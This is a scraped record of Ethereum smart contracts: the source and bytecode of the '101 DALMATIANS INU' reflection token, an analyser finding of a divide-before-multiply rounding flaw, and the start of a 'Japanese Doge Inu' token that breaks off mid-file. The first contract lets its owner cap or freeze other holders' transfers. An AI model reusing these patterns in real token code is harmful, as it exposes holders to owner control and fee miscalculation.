* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DALMATIAN is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 10**0 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = '101 DALMATIANS INU';
string private _symbol = '101INU';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 1 * 10**0 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b610165610160366004611584565b6102fb565b005b61016f6103c0565b60405161017c91906115ee565b60405180910390f35b61019861019336600461155b565b610452565b60405161017c91906115e3565b6101ad610470565b60405161017c91906119ec565b6101ad610476565b6101986101d0366004611520565b61047f565b6101ad6101e3366004611584565b610555565b6101f0610598565b60405161017c91906119f5565b61019861020b36600461155b565b6105a1565b6101ad61021e36600461159c565b6105f0565b6101ad6102313660046114cd565b61064e565b6101656106b0565b6101ad610739565b61024e61073f565b60405161017c91906115cf565b61016f61074e565b61019861027136600461155b565b61075d565b61019861028436600461155b565b610801565b6101986102973660046114cd565b610815565b6101656102aa366004611584565b610833565b6101ad6102bd3660046114ee565b610893565b6101656102d03660046114cd565b6108be565b6101656102e33660046114cd565b6109f6565b6101656102f63660046114cd565b610ab6565b6000610305610c8b565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b81526004016103419061195b565b60405180910390fd5b600061035583610c8f565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a5a565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a5a565b6006556007546103b8908490611a03565b600755505050565b6060600880546103cf90611a71565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a71565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c8b565b8484610cdb565b5060015b92915050565b60075490565b64e8d4a5100090565b600061048c848484610d8f565b6001600160a01b0384166000908152600360205260408120906104ad610c8b565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104ed5760405162461bcd60e51b81526004016103419061180c565b61054b846104f9610c8b565b6001600160a01b0387166000908152600360205260408120869161051b610c8b565b6001600160a01b03166001600160a01b03168152602001908152602001600020546105469190611a5a565b610cdb565b5060019392505050565b60006006548211156105795760405162461bcd60e51b815260040161034190611684565b6000610583610fbd565b905061058f8184611a1b565b9150505b919050565b600a5460ff1690565b60006104666105ae610c8b565b8484600360006105bc610c8b565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546105469190611a03565b600064e8d4a510008311156106175760405162461bcd60e51b81526004016103419061178d565b8161063557600061062784610c8f565b5092945061046a9350505050565b600061064084610c8f565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561068e57506001600160a01b038116600090815260026020526040902054610593565b6001600160a01b03821660009081526001602052604090205461046a90610555565b6106b8610c8b565b6001600160a01b03166106c961073f565b6001600160a01b0316146106ef5760405162461bcd60e51b815260040161034190611854565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a71565b60006003600061076b610c8b565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107b45760405162461bcd60e51b8152600401610341906119a7565b6104666107bf610c8b565b8484600360006107cd610c8b565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546105469190611a5a565b600061046661080e610c8b565b8484610d8f565b6001600160a01b031660009081526004602052604090205460ff1690565b61083b610c8b565b6001600160a01b031661084c61073f565b6001600160a01b0316146108725760405162461bcd60e51b815260040161034190611854565b60646108838264e8d4a51000611a3b565b61088d9190611a1b565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108c6610c8b565b6001600160a01b03166108d761073f565b6001600160a01b0316146108fd5760405162461bcd60e51b815260040161034190611854565b6001600160a01b03811660009081526004602052604090205460ff16156109365760405162461bcd60e51b815260040161034190611756565b6001600160a01b03811660009081526001602052604090205415610990576001600160a01b03811660009081526001602052604090205461097690610555565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b6109fe610c8b565b6001600160a01b0316610a0f61073f565b6001600160a01b031614610a355760405162461bcd60e51b815260040161034190611854565b6001600160a01b038116610a5b5760405162461bcd60e51b8152600401610341906116ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610abe610c8b565b6001600160a01b0316610acf61073f565b6001600160a01b031614610af55760405162461bcd60e51b815260040161034190611854565b6001600160a01b03811660009081526004602052604090205460ff16610b2d5760405162461bcd60e51b815260040161034190611756565b60005b600554811015610c8757816001600160a01b031660058281548110610b6557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c755760058054610b9090600190611a5a565b81548110610bae57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610be857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c4e57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c87565b80610c7f81611aac565b915050610b30565b5050565b3390565b6000806000806000806000610ca388610fe0565b915091506000610cb1610fbd565b90506000806000610cc38c8686611013565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d015760405162461bcd60e51b815260040161034190611917565b6001600160a01b038216610d275760405162461bcd60e51b815260040161034190611714565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d829085906119ec565b60405180910390a3505050565b6001600160a01b038316610db55760405162461bcd60e51b8152600401610341906118d2565b6001600160a01b038216610ddb5760405162461bcd60e51b815260040161034190611641565b60008111610dfb5760405162461bcd60e51b815260040161034190611889565b610e0361073f565b6001600160a01b0316836001600160a01b031614158015610e3d5750610e2761073f565b6001600160a01b0316826001600160a01b031614155b15610e6457600b54811115610e645760405162461bcd60e51b8152600401610341906117c4565b6001600160a01b03831660009081526004602052604090205460ff168015610ea557506001600160a01b03821660009081526004602052604090205460ff16155b15610eba57610eb583838361104f565b610fb8565b6001600160a01b03831660009081526004602052604090205460ff16158015610efb57506001600160a01b03821660009081526004602052604090205460ff165b15610f0b57610eb5838383611169565b6001600160a01b03831660009081526004602052604090205460ff16158015610f4d57506001600160a01b03821660009081526004602052604090205460ff16155b15610f5d57610eb5838383611212565b6001600160a01b03831660009081526004602052604090205460ff168015610f9d57506001600160a01b03821660009081526004602052604090205460ff165b15610fad57610eb5838383611254565b610fb8838383611212565b505050565b6000806000610fca6112c6565b9092509050610fd98183611a1b565b9250505090565b60008080610fef606485611a1b565b610ffa906002611a3b565b905060006110088286611a5a565b935090915050915091565b60008080806110228588611a3b565b905060006110308688611a3b565b9050600061103e8284611a5a565b929992985090965090945050505050565b600080600080600061106086610c8f565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150611091908790611a5a565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110c1908690611a5a565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546110f1908590611a03565b6001600160a01b0388166000908152600160205260409020556111148382611490565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115791906119ec565b60405180910390a35050505050505050565b600080600080600061117a86610c8f565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111ab908690611a5a565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111e2908390611a03565b6001600160a01b0388166000908152600260209081526040808320939093556001905220546110f1908590611a03565b600080600080600061122386610c8f565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110c1908690611a5a565b600080600080600061126586610c8f565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150611296908790611a5a565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111ab908690611a5a565b600654600090819064e8d4a51000825b6005548110156114575782600160006005848154811061130657634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061137f575081600260006005848154811061135857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113995760065464e8d4a510009450945050505061148c565b60016000600583815481106113be57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546113ed9084611a5a565b9250600260006005838154811061141457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114439083611a5a565b91508061144f81611aac565b9150506112d6565b5064e8d4a5100060065461146b9190611a1b565b8210156114865760065464e8d4a5100093509350505061148c565b90925090505b9091565b8160065461149e9190611a5a565b6006556007546114af908290611a03565b6007555050565b80356001600160a01b038116811461059357600080fd5b6000602082840312156114de578081fd5b6114e7826114b6565b9392505050565b60008060408385031215611500578081fd5b611509836114b6565b9150611517602084016114b6565b90509250929050565b600080600060608486031215611534578081fd5b61153d846114b6565b925061154b602085016114b6565b9150604084013590509250925092565b6000806040838503121561156d578182fd5b611576836114b6565b946020939093013593505050565b600060208284031215611595578081fd5b5035919050565b600080604083850312156115ae578182fd5b82359150602083013580151581146115c4578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561161a578581018301518582016040015282016115fe565b8181111561162b5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a1657611a16611ac7565b500190565b600082611a3657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a5557611a55611ac7565b500290565b600082821015611a6c57611a6c611ac7565b500390565b600281046001821680611a8557607f821691505b60208210811415611aa657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611ac057611ac0611ac7565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220eaa3a4b40851c9e7f213500dcbc16e55a107dd0d04cf6b4a584b241aaf3f7f1664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,340 |
0x9bbb31df0ff0cfdb4888e4a6cc9a9ef6fa056043
|
/*
Japanese Doge Inu
Telegram: https://t.me/japanesedogeinu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JapaneseDogeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Japanese Doge Inu";
string private constant _symbol = '犬E️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
